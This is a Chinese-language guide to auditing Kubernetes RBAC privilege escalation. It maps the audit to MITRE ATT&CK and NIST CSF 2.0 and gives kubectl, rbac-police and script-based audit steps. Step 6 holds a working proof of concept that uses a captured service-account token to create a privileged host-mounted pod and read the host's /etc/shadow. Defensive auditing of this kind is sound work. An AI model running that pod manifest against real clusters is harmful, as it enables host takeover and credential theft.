Kubernetes RBAC 权限提升审计的威胁框架映射：从 MITRE ATT&CK、NIST CSF 2.0 到实战落地（Anthropic-Cybersecurity-Skills）

Kubernetes RBAC（基于角色的访问控制）是集群安全的基石，而 escalate、bind、impersonate 等"危险原语"常使单个被攻破的 Pod 演变为集群接管。本文以 Anthropic-Cybersecurity-Skills 仓库中 auditing-kubernetes-rbac-privilege-escalation 技能的标准与参考文档为核心，系统梳理该审计任务与 MITRE ATT&CK、NIST CSF 2.0 两大威胁框架的映射关系，并结合仓库内完整审计工作流与自动化脚本，为读者提供一套"框架对标 → 原语识别 → 工具链落地 → 修复闭环"的实操指南。

为什么需要框架映射：审计不能只停留在"发现漏洞"

Kubernetes 的 RBAC 授权层决定每个用户（User）、组（Group）与服务账户（ServiceAccount）通过 Role/ClusterRole 规则、并由 RoleBinding/ClusterRoleBinding 绑定的全部能力。由于工作负载默认挂载服务账户令牌（automountServiceAccountToken 默认开启），攻击者一旦攻破某个 Pod，就继承了该账户的全部 RBAC 权限。过度宽松的绑定足以让"一个 Pod 沦陷"升级为"整个集群沦陷"。

标准与参考文档 的价值在于：它把这类攻击面精确锚定到可被安全团队、合规系统和 AI Agent 共同理解的技术 ID 上。MITRE ATT&CK 回答了"攻击者用什么手法"，NIST CSF 2.0 回答了"组织应该防护什么控制项"。这种双框架对齐使得审计发现可以直接进入威胁情报、检测规则开发与合规整改流程，而非停留在孤立的告警清单。

MITRE ATT&CK 映射：RBAC 审计覆盖的五个技术点

依据 standards.md，本技能与 MITRE ATT&CK Enterprise 矩阵的映射如下：

Technique ID	名称	战术（Tactic）	映射理由
T1078	Valid Accounts	Defense Evasion / Privilege Escalation	RBAC 滥用利用合法的服务账户凭据获得更高权限
T1098	Account Manipulation	Persistence	escalate/bind/impersonate 与令牌铸造创建或修改账户/绑定
T1528	Steal Application Access Token	Credential Access	读取 secrets 或 serviceaccounts/token 获得其他账户的令牌
T1613	Container and Resource Discovery	Discovery	枚举角色、绑定及 Pod 到服务账户的映射
T1611	Escape to Host	Privilege Escalation	create pods 配合节点访问可创建挂载宿主机的特权 Pod

值得强调的是，仓库层面的 ATT&CK Navigator 层文件 显示 T1078（Valid Accounts）是全仓库被引用最多的技术之一（13 个技能引用），且 14/14 个战术均有覆盖。这印证了"有效账户滥用"是容器安全与身份安全交叉地带的高频主题。

从技能实现看，这五个技术点不是并列清单，而是一条攻击链：

• T1613（发现） 是起点——攻击者先枚举 Role/ClusterRole/RoleBinding/ClusterRoleBinding 与 Pod-to-SA 映射，寻找可乘之机；
• T1078（有效账户） 是载体——被攻破 Pod 挂载的服务账户令牌即为合法身份；
• T1098（账户操纵） 是放大器——escalate/bind/impersonate 让攻击者自我授权；
• T1528（令牌窃取） 是横向通道——读取 secrets 即可批量收割其他服务账户令牌；
• T1611（逃逸到宿主机） 是终点——create pods + 节点访问直接完成宿主机接管。

NIST CSF 2.0 对齐：从"发现"到"强制最小权限"

在合规维度，standards.md 将该审计任务锚定到 NIST CSF 2.0（2024 年 2 月发布）的 Protect（保护）职能：

ID	名称	映射理由
PR.AA-05	Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege	该审计直接度量和强制最小权限 RBAC，移除权限提升原语

该控制项隶属于 Protect 职能下的 PR.AA（Identity Management, Authentication, and Access Control） 类别。在仓库的 NIST CSF 2.0 映射 中，PR.AA 是 Protect 职能的核心类别之一，主要关联 identity-access-management、zero-trust-architecture 子域——这与本技能"审计 RBAC 权限提升路径"的定位完全吻合。

从实践角度理解 PR.AA-05 的落地含义：

1. defined（已定义）：明确每个角色应拥有哪些动词与资源；
2. managed（已管理）：通过 Role（命名空间级）优先于 ClusterRole（集群级）控制爆炸半径，谨慎使用 aggregationRule；
3. enforced（已强制）：移除 escalate/bind/impersonate 等提权原语，对不需要调用 API 的工作负载设置 automountServiceAccountToken: false；
4. least privilege（最小权限）：用显式动词/资源列表替代通配符 *。

审计输出的每一项高危发现，都可以直接映射回 PR.AA-05 的具体子条款，形成可上报合规系统的整改证据。

危险原语清单：何为"与 cluster-admin 等价"

框架映射的实操价值，最终要落在可判定的权限原语上。依据 Kubernetes 官方"RBAC Good Practices"与 Unit 42 研究（详见 standards.md 关键研究章节），以下原语一旦被某主体持有，即视为具备提权到集群管理员的能力：

动词 / 资源	为何与 cluster-admin 等价
escalate on roles	可自我授予任意权限（即使原本未持有）
bind on clusterroles	可创建指向 cluster-admin 的绑定
impersonate users/groups	可伪装为任意主体，包括 system:masters
create pods（+ 节点访问）	可创建特权/hostPath Pod 完成宿主机接管
create pods/exec、pods/attach	可在任意现存 Pod 内执行代码
get/list secrets	list 返回完整 secret 内容，含其他服务账户令牌
create serviceaccounts/token	可为更高权限账户铸造令牌
update/patch（webhook 配置、nodes/proxy、certificatesigningrequests/approval）	准入控制/CSR 滥用通往 cluster-admin
*/*（通配符）	隐式超级权限

对应的动词/资源矩阵在 api-reference.md 中被系统化整理：escalate → roles/clusterroles；bind → clusterroles；impersonate → users/groups/serviceaccounts；create/update/patch → pods、deployments、daemonsets、mutatingwebhookconfigurations；create → pods/exec、pods/attach、pods/ephemeralcontainers、serviceaccounts/token；get/list/watch → secrets；approve → certificatesigningrequests/approval。

实战落地：四件审计工具与完整工作流

框架映射最终服务于实战。该技能目录（skill 目录）提供了一套可复制的 7 步审计流程，核心工具链如下：

工具	用途	来源
kubectl auth can-i	权威实时权限检查（--list、--as）	Kubernetes 官方授权参考
rbac-police	基于 Rego 策略的提权路径分析	Palo Alto Networks（Cymulate）
kubectl-who-can	反向查询：谁能执行某动作	Aqua Security
rakkess（access-matrix）	每个主体的 动词×资源 访问矩阵	corneliusweig
rbac-lookup	主体持有的角色清单	FairwindsOps

工具安装（来自 SKILL.md 前置条件）：

# rbac-police - 发现提权路径
curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
chmod +x rbac-police

# kubectl-who-can - 哪些主体可以执行某动作
kubectl krew install who-can

# rakkess - 当前/其他主体的 资源×动词 访问矩阵
kubectl krew install access-matrix

# rbac-lookup - 主体持有的角色
kubectl krew install rbac-lookup

第 1 步：盘点 RBAC 对象。先获取全量角色与绑定，并落盘为离线分析快照：

kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# 导出完整 RBAC 用于离线分析
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# 谁被绑定到 cluster-admin？
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

第 2 步：枚举每个主体的有效权限。kubectl auth can-i 评估的是真实授权器（RBAC + admission webhooks），是权威判定；--as 可模拟任意主体（需审计身份具备 impersonate 权限）：

# 某服务账户的完整访问矩阵
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# 定向危险权限探测
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# rakkess 全量 动词×资源 矩阵
kubectl access-matrix --as system:serviceaccount:dev:builder

第 3 步：狩猎提权原语。用 kubectl-who-can 全集群反查，并用 grep 在导出快照中定位危险动词：

kubectl who-can create pods
kubectl who-can '*' '*'                      # 通配符"上帝模式"持有者
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # bind 式提权

# 在原始转储中检索 escalate/bind/impersonate 动词与通配符
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

第 4 步：用 rbac-police 自动化分析提权路径。rbac-police 基于 Rego 策略对集群快照求值，指出可提权到 cluster-admin 的主体及精确路径：

# 运行全部内置提权检查（需要具备读权限的 kubeconfig）
./rbac-police eval ./lib/policies/

# 仅运行权限提升策略，以 JSON 输出高危结果
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# 先采集快照（离线/隔离环境分析）
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

# 过滤到高危发现
./rbac-police eval ./lib/policies/ --severity-threshold High

第 5 步：把 Pod 回溯到过度授权的服务账户。发现只有在"存在可达工作负载挂载该令牌"时才构成实际风险：

# 将每个 Pod 映射到其服务账户
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# 找出自动挂载令牌（默认行为）且关联高风险 SA 的 Pod
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup：该服务账户实际持有什么
kubectl rbac-lookup builder --kind serviceaccount

第 6 步：在实验室演示一条提权路径。示例：持有 create pods 且可调度到某节点的服务账户，可创建挂载宿主文件系统的特权 Pod：

# 使用捕获的令牌直连 API Server
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# 确认危险权限
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# 调度一个特权挂载宿主机路径的 Pod（证明节点/宿主机接管）
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # 读到宿主机 /etc/shadow 即证明提权成功

第 7 步：报告与修复。生成最小权限违规摘要，并输出可执行修复项：

kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "FINDING cluster-admin bound to: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

修复清单：用显式动词/资源替换通配符；移除非必需的 escalate/bind/impersonate；对不调用 API 的工作负载设置 automountServiceAccountToken: false；尽量用命名空间级 Role 而非 ClusterRole；谨慎使用 aggregationRule。

源码级自动化：agent.py 如何落地框架映射

该技能还内置了自动化审计脚本 scripts/agent.py，它将上述框架映射直接编译为可执行的探测矩阵。脚本顶部的 DANGEROUS_CHECKS 常量逐一对应 standards.md 中映射的技术：

DANGEROUS_CHECKS = [
    ("*", "*"),                       # 通配符 → T1078/T1098
    ("create", "pods"),               # T1611 逃逸到宿主机
    ("create", "pods/exec"),
    ("create", "pods/attach"),
    ("create", "pods/ephemeralcontainers"),
    ("get", "secrets"),               # T1528 令牌窃取
    ("list", "secrets"),
    ("create", "serviceaccounts/token"),
    ("impersonate", "users"),         # T1098 账户操纵
    ("escalate", "roles"),
    ("bind", "clusterroles"),
    ("update", "clusterrolebindings"),
    ("update", "mutatingwebhookconfigurations"),
    ("create", "nodes/proxy"),
]

脚本的严重度分级逻辑同样复刻了"危险原语"的等价性判断（agent.py audit_subject 函数）：

• critical：持有 */*、escalate roles、bind clusterroles 或 impersonate users 之一；
• high：持有 create pods、list secrets 或 create serviceaccounts/token；
• medium：持有其余任一危险探测项；
• none：未命中任何探测项。

# 审计全部服务账户并输出 JSON 报告
python3 scripts/agent.py -o rbac-audit-report.json

# 仅审计单个主体
python3 scripts/agent.py -s dev/builder

# 限定到单一命名空间
python3 scripts/agent.py -n dev

脚本还会单独枚举所有 cluster-admin 绑定（cluster_admin_bindings 函数，对应第 1 步的 jq 查询），并将各主体的严重度统计写入报告的 summary 字段。整个自动化流程严格复用 kubectl auth can-i 作为判定依据，与手册流程的结论完全一致——框架映射因此获得了可重复、可量化的执行载体。

验证清单与适用前提

完成审计后，可用以下清单自检（源自 SKILL.md 验证标准）：

• [ ] 已盘点并导出全部 Role/ClusterRole/Binding 对象
• [ ] 已枚举 cluster-admin 主体清单
• [ ] 已通过 auth can-i --list 枚举各服务账户的有效权限
• [ ] 已识别全部危险原语持有者（escalate/bind/impersonate/secrets/pods）
• [ ] 已复核 rbac-police 提权路径
• [ ] 已将令牌挂载 Pod 映射到高风险服务账户
• [ ] 已在实验室演示至少一条提权路径
• [ ] 已产出带最小权限修复建议的发现报告
• [ ] 所有测试均在授权范围内完成

最后必须强调适用前提与限制：本技能仅用于授权安全测试与教育目的，枚举和行使 RBAC 权限会改变活跃集群的访问态势，只应对自有集群或获得书面明确授权的集群执行；--as 模拟需要审计身份本身具备 impersonate 权限；rbac-police 的 Rego 策略路径（./lib/policies/）与快照文件需按实际安装位置调整。框架映射方面，本技能明确对齐 MITRE ATT&CK Enterprise 的五个技术点与 NIST CSF 2.0 的 PR.AA-05 控制项，相关研究依据（Unit 42 Kubernetes RBAC 研究、Kubernetes SIG-Auth 记录的 escalate/bind/impersonate 提权原语）可进一步查阅 standards.md 的 Key Research 章节，完整工具清单则汇总于 api-reference.md。